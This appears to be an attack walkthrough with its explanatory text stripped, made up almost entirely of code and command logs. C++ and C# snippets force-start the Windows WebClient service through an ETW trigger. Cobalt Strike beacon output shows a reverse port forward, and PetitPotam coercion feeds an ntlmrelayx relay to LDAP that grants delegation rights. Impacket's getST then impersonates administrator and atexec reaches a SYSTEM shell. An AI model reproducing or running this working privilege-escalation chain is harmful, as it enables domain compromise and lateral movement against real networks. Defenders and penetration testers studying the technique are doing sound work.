bool StartWebClientService(){    const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider =        { 0x22B6D684, 0xFA63, 0x4578,         { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };    REGHANDLE Handle;    bool success = false;
    if (EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider,        nullptr, nullptr, &Handle) == ERROR_SUCCESS)    {        EVENT_DESCRIPTOR desc;
        EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0);
        success = EventWrite(Handle, &desc, 0, nullptr) == ERROR_SUCCESS;
        EventUnregister(Handle);    }
    return success;}

using System;using System.Runtime.InteropServices;
namespace StartWebClient{    class Program    {        [StructLayout(LayoutKind.Explicit, Size = 16)]        public class EVENT_DESCRIPTOR        {            [FieldOffset(0)] ushort Id = 1;            [FieldOffset(2)] byte Version = 0;            [FieldOffset(3)] byte Channel = 0;            [FieldOffset(4)] byte Level = 4;            [FieldOffset(5)] byte Opcode = 0;            [FieldOffset(6)] ushort Task = 0;            [FieldOffset(8)] long Keyword = 0;        }
        [StructLayout(LayoutKind.Explicit, Size = 16)]        public struct EventData        {            [FieldOffset(0)]            internal UInt64 DataPointer;            [FieldOffset(8)]            internal uint Size;            [FieldOffset(12)]            internal int Reserved;        }


        [DllImport("Advapi32.dll", SetLastError = true)]        public static extern uint EventRegister(            ref Guid guid,            [Optional] IntPtr EnableCallback,            [Optional] IntPtr CallbackContext,            [In][Out] ref long RegHandle);
        [DllImport("Advapi32.dll", SetLastError = true)]        public static extern uint EventWrite(            long RegHandle,            ref EVENT_DESCRIPTOR EventDescriptor,            uint UserDataCount,            IntPtr UserData);
        [DllImport("Advapi32.dll", SetLastError = true)]        public static extern uint EventUnregister(long RegHandle);
        public static void start_service(string trigger)        {            Guid webCleintTrigger = new Guid(0x22B6D684, 0xFA63, 0x4578, 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7);            if (trigger.ToLower().Equals("true"))            {                Console.WriteLine("Attempting to start WebClient via ServiceTrigger");            }            else            {                Console.WriteLine("Attempting to start {0} via ServiceTrigger", trigger);                webCleintTrigger = new Guid(trigger);
            }
            long handle = 0;            uint output = EventRegister(ref webCleintTrigger, IntPtr.Zero, IntPtr.Zero, ref handle);            bool success = false;
            if (output == 0)            {                //Create event descriptor                EVENT_DESCRIPTOR desc = new EVENT_DESCRIPTOR();
                //Write the event                uint writeOutput = EventWrite(handle, ref desc, 0, IntPtr.Zero);                success = writeOutput == 0;                EventUnregister(handle);                Console.WriteLine("Service should be started, verify with \"sc.exe query servicename\"");            }            else            {                Console.WriteLine("Service Can not Start");            }        }        static void Main(string[] args)        {            Program.start_service("true");        }    }}

beacon> rportfwd_local 8445 192.168.0.111 8888[+] started reverse port forward on 8445 to dsdcew -> 192.168.0.111:8888[*] Tasked beacon to forward port 8445 to dsdcew -> 192.168.0.111:8888[+] host called home, sent: 10 bytes

(base) base ❯ python2 PetitPotam.py elevatehostname@8445/aaaa 10.1.1.2 -d rock.com.cn -u 0x -p '0x123456'

impacket ❯ python ntlmrelayx.py -t ldap://AD.rock.com.cn --http-port 8888 --delegate-access --escalate-user demohostuser$Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation
[*] Protocol Client SMTP loaded..[*] Protocol Client SMB loaded..[*] Protocol Client RPC loaded..[*] Protocol Client LDAPS loaded..[*] Protocol Client LDAP loaded..[*] Protocol Client HTTP loaded..[*] Protocol Client HTTPS loaded..[*] Protocol Client MSSQL loaded..[*] Protocol Client IMAP loaded..[*] Protocol Client IMAPS loaded..[*] Protocol Client DCSYNC loaded..[*] Running in relay mode to single host[*] Setting up SMB Server[*] Setting up HTTP Server[*] Setting up WCF Server[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections[*] HTTPD: Received connection from 192.168.0.111, attacking target ldap://AD.rock.com.cn[*] HTTPD: Received connection from 192.168.0.111, attacking target ldap://AD.rock.com.cn[*] Authenticating against ldap://AD.rock.com.cn as rock\demohostuser$ SUCCEED[*] Enumerating relayed user's privileges. This may take a while on large domains[*] Authenticating against ldap://AD.rock.com.cn as rock\demohostuser$ SUCCEED[*] Enumerating relayed user's privileges. This may take a while on large domains[*] Delegation rights modified succesfully![*] demohostuser$ can now impersonate users on elevatehostname$ via S4U2Proxy[*] Delegate attack already performed for this computer, skipping

impacket ❯ python getST.py -spn cifs/elevatehostname.rock.com.cn rock.com.cn/demohostuser$:'Password123' -impersonate administrator -dc-ip 10.1.1.1Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for user[*] Impersonating administrator[*]   Requesting S4U2self[*]   Requesting S4U2Proxy[*] Saving ticket in administrator.ccache
impacket ❯ export KRB5CCNAME=administrator.ccache

impacket ❯ python atexec.py -k -no-pass elevatehostname.rock.com.cn whoamiImpacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation
[!] This will work ONLY on Windows >= Vista[*] Creating task \LhjdbEFO[*] Running task \LhjdbEFO[*] Deleting task \LhjdbEFO[*] Attempting to read ADMIN$\Temp\LhjdbEFO.tmpnt authority\system